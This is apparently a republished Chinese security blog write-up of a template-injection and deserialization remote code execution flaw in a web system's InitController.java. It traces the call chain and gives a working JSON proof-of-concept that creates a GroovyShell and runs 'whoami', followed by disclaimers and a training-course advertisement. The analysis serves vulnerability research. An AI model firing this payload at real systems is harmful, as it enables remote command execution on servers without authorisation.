某系统存在Beetl反序列化模板注入RCE漏洞

admin 2026-03-03 08:34:25 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档分析了某系统存在的Beetl反序列化模板注入RCE漏洞,漏洞位于InitController.java的接口中,由于对传入参数缺乏过滤,攻击者可通过构造特定JSON数据(包含GroovyShell类)触发反序列化,从而执行任意命令(如whoami)。文章提供了漏洞分析、利用链和PoC,并给出了免责声明与技术分享目的。 综合评分: 78 文章分类: 漏洞分析,WEB安全,代码审计,渗透测试


cover_image

某系统存在Beetl反序列化模板注入RCE漏洞

学员投稿 学员投稿

进击安全

2026年2月18日 10:13 山西

免责申明 本文章仅用于信息安全防御技术分享,因用于其他用途而产生不良后果,作者不承担任何法律责任,请严格遵循中华人民共和国相关法律法规,禁止做一切违法犯罪行为。

一、前言

由于这个是一个后台漏洞,所以不分析对应的鉴权关系,直接我们可以看对应的代码漏洞。

二、漏洞分析

对应漏洞位置。

xx.jar\com\dongbao\web\base\InitController.java

在该java文件当中发现了下述接口。

    跟进代码发现,利用底层函数获取beetStringGroupTemplate,获取到其对象gt。

    获取json参数赋值给 param 和 paramTyoe

    然后param不为空,进入如下for循环。

    先获取到paramType的键值(也就是参数infoType),赋值给 propertyType,然后判断propertyType是否为空,不为空,就反射获取propertyType 的类(也就是paramType(也就是infoType)),然后只要 classType不包含 HashMap 关键字,就可以不进入if,然后就可以把classType传入 params,然后进入下述代码。

传入params,code 到 runScript 函数执行,全程除了 Hashmap外,无过滤

构造poc

{"code":"var result = shell.evaluate('\"whoami\".execute().text'); return result;","param":{"shell":{}},"infoType":{"shell":"groovy.lang.GroovyShell"}}根据上面代码,

param 为 “shell”: {},infoType即为paramType,为

"shell":"groovy.lang.GroovyShell"

此时,String propertyType = (String)paramType.get(k);,k值为 shell,paramType.get(k)的值为groovy.lang.GroovyShell,然后赋值给propertyType,此时propertyType 的值为 groovy.lang.GroovyShell

    反射获取groovy.lang.GroovyShell.class,赋值给 classType

    然后调用,TypeParseUtil.convert({}, groovy.lang.GroovyShell.class)跟进函数TypeParseUtil.convert()

    调用了JSONObject.toJavaObject({}, groovy.lang.GroovyShell.class)

    最终调用链

│ params.put(k, TypeParseUtil.convert(v, classType, null))│ ↓│ TypeParseUtil.convert({}, groovy.lang.GroovyShell.class)│ ↓│ JSONObject.toJavaObject({}, groovy.lang.GroovyShell.class)│ ↓│ new GroovyShell()  ← 创建了GroovyShell实例

最终执行效果为

GroovyShell.evaluate(‘”whoami”.execute().text’)

导致反序列化RCE。

三、漏洞复现

   成功执行whoami命令。

广告区域

目前第四期进阶课程已经开始,课表如下:

同时报名第四期基础课程同样可看,课表如下:

同时具备内部资料以及靶场相关福利,想要了解的师傅可以冲了。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:进击安全 学员投稿 学员投稿《某系统存在Beetl反序列化模板注入RCE漏洞》

GLM-5编程能力如何 网络安全文章

GLM-5编程能力如何

文章总结: GLM-5是智谱AI发布的顶尖开源编程模型,其核心突破在于将开源模型的智能体工程能力提升至ClaudeOpus级别。测试显示,在复刻Fliqlo翻页
评论:0   参与:  0